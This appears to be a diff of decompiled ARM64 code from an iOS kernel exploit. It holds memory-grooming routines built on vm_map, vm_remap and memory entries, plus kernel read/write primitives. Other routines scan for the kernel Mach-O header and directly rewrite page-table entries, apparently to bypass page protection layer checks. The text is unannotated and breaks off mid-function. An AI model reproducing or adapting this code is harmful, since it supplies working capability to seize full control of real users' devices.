sub_AE58( + __int64 a1, + _QWORD *a2, + mem_entry_name_port_t a3, + mem_entry_name_port_t a4, + mem_entry_name_port_t a5, + _QWORD *a6) +{ + __int64 v12; // x24 + __int64 v13; // x20 + __int64 v14; // x28 + __int64 v15; // x21 + __int64 v16; // x22 + kern_return_t v17; // w0 + _QWORD *v19; // x0 + vm_address_t v20; // x9 + __int64 v21; // [xsp+20h] [xbp-A0h] + vm_address_t v22; // [xsp+28h] [xbp-98h] BYREF + vm_address_t v23; // [xsp+30h] [xbp-90h] BYREF + vm_address_t v24; // [xsp+38h] [xbp-88h] BYREF + vm_prot_t cur_protection[2]; // [xsp+40h] [xbp-80h] BYREF + vm_address_t v26; // [xsp+48h] [xbp-78h] BYREF + vm_address_t v27; // [xsp+50h] [xbp-70h] BYREF + vm_address_t src_address; // [xsp+58h] [xbp-68h] BYREF + vm_address_t target_address; // [xsp+60h] [xbp-60h] BYREF + vm_address_t address; // [xsp+68h] [xbp-58h] BYREF + + v12 = 0x28011LL; + address = 0LL; + src_address = 0LL; + target_address = 0LL; + v26 = 0LL; + v27 = 0LL; + v13 = a6[0xA]; + if ( validate_addr(a1, v13) ) + { + v14 = a6[0xC]; + if ( v14 ) + { + if ( (*(_QWORD *)(a1 + 0x188) & v14) == 0 ) + { + v15 = a6[0xD]; + if ( v15 ) + { + v21 = a6[0xE]; + v12 = 0x28026LL; + if ( validate_addr(a1, v21) ) + { + v16 = a6[0xF]; + if ( validate_addr(a1, v16) ) + { + v17 = vm_allocate(mach_task_self_, &address, 0xC000uLL, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &address, 0x4000uLL, 0x4002); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &address, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v24 = address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v24, 0x8000uLL, 0x4000); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &target_address, 0xC000uLL, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_map(mach_task_self_, &target_address, 0x4000uLL, 0LL, 0x4000, a3, 0LL, 0, 3, 3, 1u); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &target_address, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + target_address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v23 = target_address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v23, 0x8000uLL, 0x4000); + if ( v17 ) + goto LABEL_31; + v17 = vm_copy(mach_task_self_, target_address, 0xC000uLL, address); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &src_address, 0xC000uLL, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_map(mach_task_self_, &src_address, 0x4000uLL, 0LL, 0x4000, a4, 0LL, 0, 3, 3, 1u); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &src_address, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + src_address, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v22 = src_address + 0x4000; + v17 = vm_allocate(mach_task_self_, &v22, 0x4000uLL, 0x4002); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v27, 0xC000uLL, 1); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v27, 0x4000uLL, 0x4002); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &v27, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + v27, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v22 = v27 + 0x4000; + v17 = vm_allocate(mach_task_self_, &v22, 0x4000uLL, 0x4002); + if ( v17 ) + goto LABEL_31; + *(_QWORD *)cur_protection = 0LL; + v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u); + if ( v17 ) + goto LABEL_31; + v17 = vm_allocate(mach_task_self_, &v26, 0xC000uLL, 1); + if ( v17 + || (v17 = vm_allocate(mach_task_self_, &v26, 0x4000uLL, 0x4002)) != 0 + || (*(_QWORD *)cur_protection = 0LL, + (v17 = vm_remap( + mach_task_self_, + &v26, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + v26, + 0, + &cur_protection[1], + cur_protection, + 1u)) != 0) + || (v22 = v26 + 0x4000, + (v17 = vm_map(mach_task_self_, &v22, 0x4000uLL, 0LL, 0x4000, a5, 0LL, 0, 3, 3, 1u)) != 0) + || (*(_QWORD *)cur_protection = 0LL, + (v17 = vm_remap( + mach_task_self_, + &v22, + 0x4000uLL, + 0LL, + 0x4000, + mach_task_self_, + v22, + 0, + &cur_protection[1], + cur_protection, + 1u)) != 0) ) + { +LABEL_31: + v12 = v17 | 0x80000000; + } + else + { + v19 = calloc(1uLL, 0x5E8uLL); + if ( v19 ) + { + v12 = 0LL; + v19[0xA3] = v13; + v19[0xA4] = v14; + v19[0xA5] = v15; + v19[0xA6] = v21; + v19[0xA7] = v16; + v19[0xA9] = address; + v20 = src_address; + v19[0xAA] = target_address; + v19[0xAB] = 0xC000LL; + address = 0LL; + src_address = 0LL; + target_address = 0LL; + v19[0xAC] = v20; + v19[0xAD] = v27; + v19[0xAE] = 0xC000LL; + v19[0xAF] = v26; + v19[0xB0] = v20; + v19[0xB1] = 0xC000LL; + v26 = 0LL; + v27 = 0LL; + *a2 = v19; + goto LABEL_35; + } + v12 = 0xAD009LL; + } + } + } + } + } + } + } + else + { + v12 = 0x28026LL; + } + if ( src_address ) + vm_deallocate(mach_task_self_, src_address, 0xC000uLL); +LABEL_35: + if ( v27 ) + vm_deallocate(mach_task_self_, v27, 0xC000uLL); + if ( v26 ) + vm_deallocate(mach_task_self_, v26, 0xC000uLL); + if ( address ) + vm_deallocate(mach_task_self_, address, 0xC000uLL); + if ( target_address ) + vm_deallocate(mach_task_self_, target_address, 0xC000uLL); + return v12; +} + +//----- (000000000000B460) ---------------------------------------------------- +__int64 __fastcall sub_B460(__int64 a1, _DWORD *a2) +{ + vm_size_t v2; // x20 + __int64 result; // x0 + int v6; // w22 + mach_port_name_t *v7; // x0 + __int64 v8; // x23 + mach_port_name_t v9; // w1 + __int64 i; // x21 + mach_port_name_t v11; // w1 + bool v12; // zf + __int64 v13; // x23 + __int64 v14; // x23 + _QWORD *v15; // x5 + __int64 v16; // x8 + __int64 v17; // x8 + __int64 v18; // [xsp+18h] [xbp-88h] BYREF + __int128 v19; // [xsp+20h] [xbp-80h] + int v20; // [xsp+3Ch] [xbp-64h] BYREF + vm_address_t address; // [xsp+40h] [xbp-60h] BYREF + mem_entry_name_port_t object[2]; // [xsp+48h] [xbp-58h] + __int64 v23; // [xsp+50h] [xbp-50h] + + *(_QWORD *)object = 0LL; + v23 = 0LL; + address = 0LL; + v2 = vm_page_size; + v20 = 0xFFFFFFFF; + if ( *(_QWORD *)(a1 + 0x158) < 0x1F543C40800000uLL ) + return 0xAD001LL; + result = fd_open_dev_null(&v20); + if ( !(_DWORD)result ) + { + v6 = 0x28026; + v19 = xmmword_43740; + v7 = (mach_port_name_t *)sub_1BD80(a1, 0x15u); + if ( v7 ) + { + v8 = 0LL; + do + { + v9 = *v7; + object[v8] = *v7; + if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) ) + break; + if ( v8 == 3 ) + { + if ( !vm_map(mach_task_self_, &address, v2, 0LL, 1, object[0], 0LL, 0, 3, 3, 2u) ) + { + v13 = *(_QWORD *)address; + if ( validate_addr(a1, *(_QWORD *)address) ) + { + *(_QWORD *)(a1 + 0x19D0) = v13; + v14 = *(_QWORD *)(address + 0x20); + if ( validate_addr(a1, v14) ) + { + *(_QWORD *)(a1 + 0x1898) = v14; + v15 = (_QWORD *)address; + v16 = *(_QWORD *)(address + 0x28); + if ( (unsigned __int64)(v16 - 1) <= 0x1F ) + { + *(_DWORD *)(a1 + 0x18A0) = v16; + v18 = 0LL; + v6 = sub_AE58(a1, &v18, object[1], v23, HIDWORD(v23), v15); + if ( !v6 ) + { + v17 = v18; + *(_QWORD *)(a1 + 0x30) = sub_A354; + *(_QWORD *)(a1 + 0x40) = sub_A3F0; + *(_QWORD *)(a1 + 0x38) = sub_A48C; + *(_QWORD *)(a1 + 0x48) = sub_A550; + *(_QWORD *)(a1 + 0x50) = v17; + fd_close(v20); + v20 = 0xFFFFFFFF; + v6 = sub_27808(a1, 0); + if ( !v6 ) + { + *(_QWORD *)(a1 + 0x30) = 0LL; + v6 = sub_288D4(a1); + if ( !v6 ) + *(_QWORD *)(a1 + 0x40) = 0LL; + } + } + } + } + } + } + break; + } + v7 = (mach_port_name_t *)sub_1BD80(a1, *(_DWORD *)((char *)&v19 + v8 * 4 + 4)); + ++v8; + } + while ( v7 ); + } + if ( v20 != 0xFFFFFFFF ) + fd_close(v20); + if ( v6 ) + { + for ( i = 0LL; i != 4; ++i ) + { + v11 = object[i]; + if ( v11 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v11); + } + } + if ( address ) + v12 = v2 == 0; + else + v12 = 1; + if ( !v12 ) + vm_deallocate(mach_task_self_, address, v2); + result = 0LL; + *a2 = v6 == 0; + } + return result; +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000000B73C) ---------------------------------------------------- +__int64 __fastcall sub_B73C(__int64 a1) +{ + __int64 v1; // x8 + + v1 = *(_QWORD *)(a1 + 0x50); + if ( v1 ) + return *(_QWORD *)(v1 + 0x538); + else + return 0xAD001LL; +} + +//----- (000000000000B758) ---------------------------------------------------- +void sub_B758() +{ + __dsb(0xFu); + __isb(0xFu); +} + +//----- (000000000000B768) ---------------------------------------------------- +__int64 __fastcall sub_B768(__int64 a1, unsigned __int64 a2, int a3) +{ + __int64 v6; // x24 + __int64 v7; // x22 + __int64 v8; // x8 + unsigned __int64 v9; // x23 + int v10; // w0 + __int64 v11; // x24 + int v12; // w0 + unsigned __int64 v13; // x0 + unsigned __int64 v15; // x0 + int v16; // w0 + int v17; // w0 + __int64 v18; // x0 + __int64 v19; // x24 + __int64 v20; // x27 + __int64 v21; // x22 + __int16 v22; // w26 + int v23; // w0 + __int64 v24; // x8 + int v25; // [xsp+4h] [xbp-3ACh] BYREF + unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF + _QWORD v27[5]; // [xsp+30h] [xbp-380h] BYREF + _QWORD v28[2]; // [xsp+58h] [xbp-358h] BYREF + int v29; // [xsp+68h] [xbp-348h] + _QWORD *v30[3]; // [xsp+70h] [xbp-340h] BYREF + _QWORD v31[3]; // [xsp+88h] [xbp-328h] BYREF + __int64 v32; // [xsp+A0h] [xbp-310h] + __int64 v33; // [xsp+A8h] [xbp-308h] + _QWORD v34[2]; // [xsp+B0h] [xbp-300h] BYREF + char v35; // [xsp+C4h] [xbp-2ECh] + unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h] + + v6 = 0xAD00BLL; + if ( !(unsigned int)sub_251A4(a1, 7u, 0x2710u) ) + { + v8 = *(_QWORD *)(a1 + 0x118); + if ( v8 ) + { + if ( *(_QWORD *)(a1 + 0x120) ) + { + v9 = *(_QWORD *)(v8 + 0x158); + if ( v9 ) + goto LABEL_6; + } + } + v30[2] = v31; + v34[0] = off_448E0; + v34[1] = v31; + sub_24BC0((__int64)&qword_480D8); + if ( !v12 ) + { + v7 = 0x28026LL; + v33 = a1; + sub_BB3C((__int64)v31, *(_QWORD *)(a1 + 0x19C8)); + v13 = port_name_to_kaddr(a1, mach_task_self_); + v31[2] = v13; + if ( v13 && (v32 = sub_32D80(a1, v13)) != 0 ) + { + if ( !(unsigned int)sub_4014C(v30) && !(unsigned int)sub_10730(&qword_48000, v30) ) + { + if ( (unsigned int)sub_111C0((__int64)v34) + || (unsigned int)sub_1A58C((__int64)&word_48048, v30, (__int64)v31) + || (v28[0] = v31, v28[1] = v34, v29 = 0, (unsigned int)sub_1B42C(v28)) ) + { + sub_127C0((__int64)v34); + } + else + { + sub_127C0((__int64)v34); + v25 = 2 * *(_DWORD *)(a1 + 0x180); + v15 = sub_37210(a1, (unsigned int *)&v25); + if ( !v15 ) + { + v7 = 0xAD009LL; + goto LABEL_27; + } + v9 = v15; + sub_2183C(a1, v15, (__int64)v27); + if ( !v16 ) + goto LABEL_27; + sub_2183C(a1, v9 + *(unsigned int *)(a1 + 0x180), (__int64)v26); + if ( !v17 ) + goto LABEL_27; + v18 = sub_385F4(a1, v26[0]); + if ( !v18 ) + goto LABEL_27; + v19 = v18; + v20 = *(_QWORD *)(a1 + 0x188); + v21 = v27[4]; + v22 = v27[0]; + sub_2183C(a1, v27[0] & ~v20, (__int64)v34); + if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 ) + { + v30[0] = (_QWORD *)MEMORY[0x400000008]; + v31[0] = MEMORY[0x400000008] & 0xFFFF000000003FFFLL | v36 & 0xFFFFFFFFC000LL; + MEMORY[0x400000008] = v31[0]; + sub_B758(); + sub_2AABC(a1, 0x2710u); + *(_QWORD *)(v22 & 0x3FFF | 0x400004000LL) = v21 & 0xFFFF000000003FFFLL | ((((v19 & (unsigned __int64)~v20) >> 0xE) & 0x3FFFFFFFFLL) << 0xE); + sub_B758(); + MEMORY[0x400000008] = v30[0]; + sub_2AABC(a1, 0x2710u); + v24 = *(_QWORD *)(a1 + 0x118); + if ( v24 && *(_QWORD *)(a1 + 0x120) ) + *(_QWORD *)(v24 + 0x158) = v9; +LABEL_6: + v7 = 0x28026LL; + sub_2183C(a1, a2, (__int64)v34); + if ( v10 ) + { + if ( v35 == 3 ) + { + v11 = v9 + 8 * (((*(_DWORD *)(a1 + 0x180) + (_DWORD)v9) & 0x1FFFFFFu) / *(_DWORD *)(a1 + 0x180)); + if ( (unsigned int)kreadbuf_last_1(a1, v11, 8LL, (__int64)v31) ) + { + v27[0] = v31[0] & 0xFFFF000000003FFFLL | (((v36 >> 0xE) & 0x3FFFFFFFFLL) << 0xE); + if ( v27[0] == v31[0] ) + goto LABEL_12; + if ( (unsigned int)kwritebuf_last_1(a1, v11, (__int64)v27, 8LL) ) + { + sub_2AABC(a1, 0x2710u); +LABEL_12: + if ( noppl_kwrite32(a1, v9 + *(unsigned int *)(a1 + 0x180) + (*(_QWORD *)(a1 + 0x188) & a2), a3) ) + v7 = 0LL; + else + v7 = 0x28010LL; + goto LABEL_27; + } + v7 = 0x28010LL; + } + else + { + v7 = 0x2800FLL; + } + } + else + { + v7 = 0x28011LL; + } + } +LABEL_27: + sub_25164(a1, 7u); + return v7; + } + } + v7 = 0xAD00BLL; + goto LABEL_27; + } + } + else + { + v6 = 0x2801BLL; + } + } + v7 = v6; + goto LABEL_27; + } + return 0xAD022LL; +} +// B7FC: variable 'v10' is possibly undefined +// B8D8: variable 'v12' is possibly undefined +// BA3C: variable 'v16' is possibly undefined +// BA54: variable 'v17' is possibly undefined +// BA88: variable 'v23' is possibly undefined +// 448E0: using guessed type __int64 (__fastcall *[7])(); +// 48000: using guessed type __int64 qword_48000; +// 48048: using guessed type __int16 word_48048; +// 480D8: using guessed type __int64 qword_480D8; + +//----- (000000000000BB3C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_BB3C(__int64 a1, __int64 a2) +{ + __int64 i; // x1 + __int64 v4; // x20 + unsigned __int64 result; // x0 + + for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *(_QWORD *)a1 - 0x4000LL ) + { + *(_QWORD *)a1 = i; + if ( (unsigned int)kread32(a1, i) == 0xFEEDFACF + && (unsigned int)kread32(a1, *(_QWORD *)a1 + 4LL) == 0x100000C + && (unsigned int)kread32(a1, *(_QWORD *)a1 + 8LL) == 2 + && (unsigned int)kread32(a1, *(_QWORD *)a1 + 0xCLL) == 0xC ) + { + break; + } + } + v4 = *(_QWORD *)a1; + result = sub_3C398(*(_DWORD **)(a1 + 0x20)); + *(_QWORD *)(a1 + 8) = v4 - result; + return result; +} + +//----- (000000000000BBF4) ---------------------------------------------------- +__int64 __fastcall sub_BBF4(__int64 a1) +{ + vm_size_t v1; // x19 + mem_entry_name_port_t v2; // w20 + bool v3; // zf + unsigned __int8 *v4; // x22 + unsigned __int8 v5; // w8 + vm_address_t address; // [xsp+18h] [xbp-38h] BYREF + + v1 = atomic_load((unsigned __int64 *)(a1 + 0x3630)); + v2 = atomic_load((unsigned int *)(a1 + 0x3638)); + if ( v1 ) + v3 = v2 == 0; + else + v3 = 1; + if ( !v3 ) + { + atomic_fetch_add((atomic_uint *volatile)(a1 + 0x3640), 1u); + v4 = (unsigned __int8 *)(a1 + 0x363C); + do + { + v5 = atomic_load(v4); + if ( (v5 & 1) != 0 ) + break; + address = 0LL; + } + while ( vm_map(mach_task_self_, &address, v1, 0LL, 0, v2, 0LL, 1, 1, 1, 1u) == 1 ); + } + return 0LL; +} + +//----- (000000000000BCB4) ---------------------------------------------------- +__int64 __fastcall sub_BCB4(vm_address_t a1) +{ + mach_msg_type_number_t infoCnt; // [xsp+Ch] [xbp-64h] BYREF + int info[4]; // [xsp+10h] [xbp-60h] BYREF + __int128 v4; // [xsp+20h] [xbp-50h] + __int128 v5; // [xsp+30h] [xbp-40h] + natural_t v6[7]; // [xsp+40h] [xbp-30h] BYREF + natural_t nesting_depth; // [xsp+5Ch] [xbp-14h] BYREF + vm_size_t size; // [xsp+60h] [xbp-10h] BYREF + vm_address_t address; // [xsp+68h] [xbp-8h] BYREF + + size = 0LL; + address = a1; + nesting_depth = 0; + v5 = 0u; + memset(v6, 0, sizeof(v6)); + *(_OWORD *)info = 0u; + v4 = 0u; + infoCnt = 0x13; + if ( vm_region_recurse_64(mach_task_self_, &address, &size, &nesting_depth, info, &infoCnt) ) + return 0LL; + else + return *(_QWORD *)&v6[5]; +} + +//----- (000000000000BD20) ---------------------------------------------------- +__int64 __fastcall sub_BD20(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4) +{ + _DWORD *v8; // x25 + __int64 v9; // x26 + __int64 v10; // x24 + vm_address_t *v11; // x23 + __int64 result; // x0 + __int64 v13; // x0 + vm_size_t sizea; // [xsp+8h] [xbp-58h] BYREF + + v8 = (_DWORD *)(a1 + 0x6648); + v9 = 0x100LL; + while ( 1 ) + { + v10 = (unsigned int)*v8; + if ( (unsigned int)v10 > 0x3FF ) + return 3LL; + v11 = (vm_address_t *)(a1 + 8 * v10 + 0x4648); + result = vm_allocate(mach_task_self_, v11, size, 3); + if ( (_DWORD)result ) + return result; + ++*v8; + v13 = sub_BCB4(*v11); + if ( !v13 ) + return 5LL; + if ( v13 == a3 ) + break; + if ( !--v9 ) + return 3LL; + } + sizea = size; + result = mach_make_memory_entry(mach_task_self_, &sizea, *v11, 3, a4, 0); + if ( !(_DWORD)result ) + *(_DWORD *)(a1 + 4 * v10 + 0x3644) = *a4; + return result; +} + +//----- (000000000000BE20) ---------------------------------------------------- +__int64 __fastcall sub_BE20(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5) +{ + int v9; // w23 + __int64 result; // x0 + vm_address_t address; // [xsp+18h] [xbp-48h] BYREF + + v9 = a5 + 1; + while ( 1 ) + { + address = *a1; + result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0LL, 0, 3, 7, 1u); + if ( !(_DWORD)result ) + break; + if ( !--v9 ) + return result; + } + *a1 = address; + return result; +} + +//----- (000000000000BED0) ---------------------------------------------------- +__int64 __fastcall sub_BED0(__int64 a1, __int64 a2, unsigned int a3, __int64 a4) +{ + __int64 v7; // x25 + __int64 v8; // x24 + vm_size_t v9; // x21 + int v10; // w20 + unsigned int v11; // w28 + __int64 v12; // x10 + _QWORD *v13; // x20 + vm_size_t v14; // x27 + unsigned __int64 v15; // x9 + unsigned __int64 v16; // x8 + vm_size_t v17; // x22 + __int64 v18; // x9 + vm_size_t v19; // x20 + unsigned __int8 *v20; // x11 + unsigned int *v21; // x12 + unsigned __int64 v22; // x21 + __int64 v23; // x27 + mach_port_t *v24; // x25 + __int64 v25; // x0 + unsigned int v26; // w21 + vm_size_t v27; // x27 + __int64 v28; // x0 + vm_address_t v29; // x28 + __int64 v30; // x0 + __int64 memory_entry_64; // x0 + pthread_t *v32; // x24 + unsigned __int64 v33; // x22 + void *(__cdecl *v34)(void *); // x0 + unsigned int v35; // w8 + pthread_t *v36; // x22 + unsigned __int64 v37; // x25 + vm_address_t v38; // x25 + __int64 v39; // x0 + __int64 v40; // x21 + __int64 v41; // x27 + __int64 v42; // x24 + mach_port_t *v43; // x21 + unsigned __int64 v44; // x22 + vm_address_t v45; // x8 + __int64 v47; // x0 + unsigned __int64 v48; // x8 + unsigned __int64 v49; // x8 + __int64 v50; // x23 + mach_port_t *v51; // x28 + __int64 v52; // x8 + mach_port_t *v53; // x9 + mach_port_t v54; // w10 + __int64 v55; // x11 + unsigned __int64 v56; // x22 + __int64 v57; // x21 + unsigned int v58; // w28 + unsigned __int64 v59; // x23 + unsigned __int64 v60; // x0 + unsigned __int64 v61; // x8 + unsigned __int64 v62; // x9 + unsigned __int64 v63; // x10 + unsigned __int64 v64; // x10 + unsigned __int64 v65; // x9 + unsigned __int64 v66; // x10 + __int64 v67; // x20 + __int64 v68; // x0 + __int64 v69; // x21 + unsigned int v70; // w23 + unsigned __int64 v71; // x28 + unsigned __int64 v72; // x0 + unsigned __int64 v73; // x8 + unsigned __int64 v74; // x9 + unsigned __int64 v75; // x10 + unsigned __int64 v76; // x10 + unsigned __int64 v77; // x9 + unsigned __int64 v78; // x10 + mach_port_t v79; // w8 + __int64 v80; // x12 + vm_size_t v81; // x8 + _QWORD *v82; // x9 + __int64 k; // x8 + __int64 v84; // x11 + __int64 v85; // x21 + __int64 v86; // x21 + __int64 v87; // x0 + unsigned __int8 *v88; // x23 + __int64 v89; // x19 + pthread_t *v90; // x22 + __int64 v91; // x25 + unsigned __int64 v92; // x22 + bool v93; // w25 + vm_address_t v94; // x1 + __int64 m; // x22 + vm_address_t v96; // x1 + bool v97; // zf + mach_port_t *v98; // x20 + _QWORD *v100; // x8 + __int64 v101; // x12 + vm_size_t v102; // x9 + _QWORD *v103; // x10 + __int64 i; // x8 + __int64 v105; // x11 + __int64 j; // x8 + __int64 v107; // x11 + int v108; // [xsp+Ch] [xbp-484h] + vm_size_t v109; // [xsp+10h] [xbp-480h] + unsigned int v110; // [xsp+1Ch] [xbp-474h] + __int64 v111; // [xsp+28h] [xbp-468h] + unsigned int v112; // [xsp+3Ch] [xbp-454h] + unsigned __int64 v113; // [xsp+48h] [xbp-448h] + __int64 v114; // [xsp+50h] [xbp-440h] + __int64 v115; // [xsp+50h] [xbp-440h] + __int64 v116; // [xsp+58h] [xbp-438h] + __int64 v117; // [xsp+58h] [xbp-438h] + unsigned __int64 v118; // [xsp+58h] [xbp-438h] + int v119; // [xsp+6Ch] [xbp-424h] + vm_size_t v120; // [xsp+70h] [xbp-420h] + vm_size_t v121; // [xsp+70h] [xbp-420h] + mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF + mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF + int info[4]; // [xsp+80h] [xbp-410h] BYREF + __int128 v125; // [xsp+90h] [xbp-400h] + __int128 v126; // [xsp+A0h] [xbp-3F0h] + natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF + natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF + vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF + vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF + memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF + mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF + natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF + vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF + vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF + memory_object_size_t size[4]; // [xsp+100h] [xbp-390h] BYREF + __int128 v137; // [xsp+120h] [xbp-370h] + _BYTE v138[28]; // [xsp+130h] [xbp-360h] BYREF + vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF + mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF + vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF + vm_address_t address; // [xsp+168h] [xbp-328h] BYREF + _QWORD v143[16]; // [xsp+170h] [xbp-320h] BYREF + _BYTE v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF + _BYTE v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF + mach_port_t object_handle[2]; // [xsp+418h] [xbp-78h] BYREF + __int64 v147; // [xsp+420h] [xbp-70h] + + v7 = a1; + *(_QWORD *)object_handle = 0LL; + v147 = 0LL; + memset(v145, 0, 0x20); + v141 = 0LL; + address = 0LL; + name = 0; + v8 = a3; + v9 = vm_page_size; + v10 = *(_DWORD *)(a1 + 0x140); + if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 ) + { + v11 = 4; +LABEL_6: + v12 = 0x64LL; + goto LABEL_9; + } + if ( (int)number_of_cpus() < 3 ) + { + v11 = 1; + } + else + { + v11 = number_of_cpus() - 1; + if ( v11 > 3 ) + goto LABEL_6; + } + v12 = 0xC8LL; +LABEL_9: + memset(v144, 0, sizeof(v144)); + memset(v143, 0, sizeof(v143)); + v119 = v10; + if ( _os_alloc_once_table[0xA0] == 0xFFFFFFFFFFFFFFFFLL ) + { + v13 = (_QWORD *)_os_alloc_once_table[0xA1]; + } + else + { + v67 = v12; + v68 = _os_alloc_once(); + v12 = v67; + v13 = (_QWORD *)v68; + } + v14 = v9 * v8; + if ( *v13 && (v15 = v13[1]) != 0 ) + { + *(_QWORD *)(a2 + 0x3628) = *v13; + atomic_store(v15, (unsigned __int64 *)(a2 + 0x3630)); + } + else if ( !*(_QWORD *)(a2 + 0x3628) ) + { + v115 = v8; + v117 = v12; + *(_QWORD *)info = 0LL; + v139 = 0LL; + LODWORD(v135) = 1; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, sizeof(size)); + LODWORD(v134) = 0x13; + v42 = vm_region_recurse_64( + mach_task_self_, + (vm_address_t *)info, + &v139, + (natural_t *)&v135, + (vm_region_recurse_info_t)size, + (mach_msg_type_number_t *)&v134); + if ( (_DWORD)v42 ) + { +LABEL_58: + v19 = 0LL; + v120 = 0LL; + goto LABEL_170; + } + while ( 1 ) + { + if ( (unsigned int)v135 > 1 ) + { + v42 = 5LL; + goto LABEL_58; + } + if ( (_DWORD)v135 == 1 ) + { + v45 = v14 + 2 * vm_page_size; + if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 ) + break; + } + *(_QWORD *)info += v139; + v139 = 0LL; + LODWORD(v135) = 1; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, sizeof(size)); + LODWORD(v134) = 0x13; + v47 = vm_region_recurse_64( + mach_task_self_, + (vm_address_t *)info, + &v139, + (natural_t *)&v135, + (vm_region_recurse_info_t)size, + (mach_msg_type_number_t *)&v134); + if ( (_DWORD)v47 ) + { + v42 = v47; + goto LABEL_58; + } + } + v139 = v14 + 2 * vm_page_size; + *(_QWORD *)(a2 + 0x3628) = *(_QWORD *)info; + atomic_store(v45, (unsigned __int64 *)(a2 + 0x3630)); + *v13 = *(_QWORD *)info; + v13[1] = v139; + v8 = v115; + v12 = v117; + } + if ( *(_QWORD *)(a2 + 0x3628) && (v16 = atomic_load((unsigned __int64 *)(a2 + 0x3630))) != 0 ) + { + v114 = v8; + v116 = v12; + v110 = a3; + v17 = 0LL; + v18 = 0LL; + v19 = atomic_load((unsigned __int64 *)(a2 + 0x3630)); + v20 = (unsigned __int8 *)(a2 + 0x363C); + v21 = (unsigned int *)(a2 + 0x3640); + v22 = v11; + v109 = v14; + v113 = v11; + while ( 1 ) + { + v111 = v18; + atomic_store(0, v20); + atomic_store(0, v21); + *(_QWORD *)object_handle = 0LL; + v147 = 0LL; + if ( v11 ) + break; + v112 = 0; + v26 = 0; +LABEL_25: + atomic_store(v26, (unsigned int *)(a2 + 0x3638)); + v27 = vm_page_size; + v28 = vm_map(mach_task_self_, &address, v19, 0LL, 1, v26, 0LL, 0, 1, 1, 1u); + if ( (_DWORD)v28 || (v28 = sub_BE20(&v141, v27 + v19, 0x1FFFFFFuLL, 9, 0x10), (_DWORD)v28) ) + { + v42 = v28; + v120 = v17; +LABEL_169: + v11 = v112; + goto LABEL_170; + } + v120 = v27 + v19; + v29 = v141; + v30 = vm_copy(mach_task_self_, address, v19, v141); + if ( (_DWORD)v30 + || (v30 = vm_deallocate(mach_task_self_, address, v19), (_DWORD)v30) + || (address = 0LL, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 0x6004000), (_DWORD)v30) + || (v30 = vm_deallocate(mach_task_self_, v139, v27), (_DWORD)v30) ) + { + v42 = v30; + goto LABEL_169; + } + v134 = 0LL; + v135 = v29; + v137 = 0u; + memset(v138, 0, sizeof(v138)); + memset(size, 0, 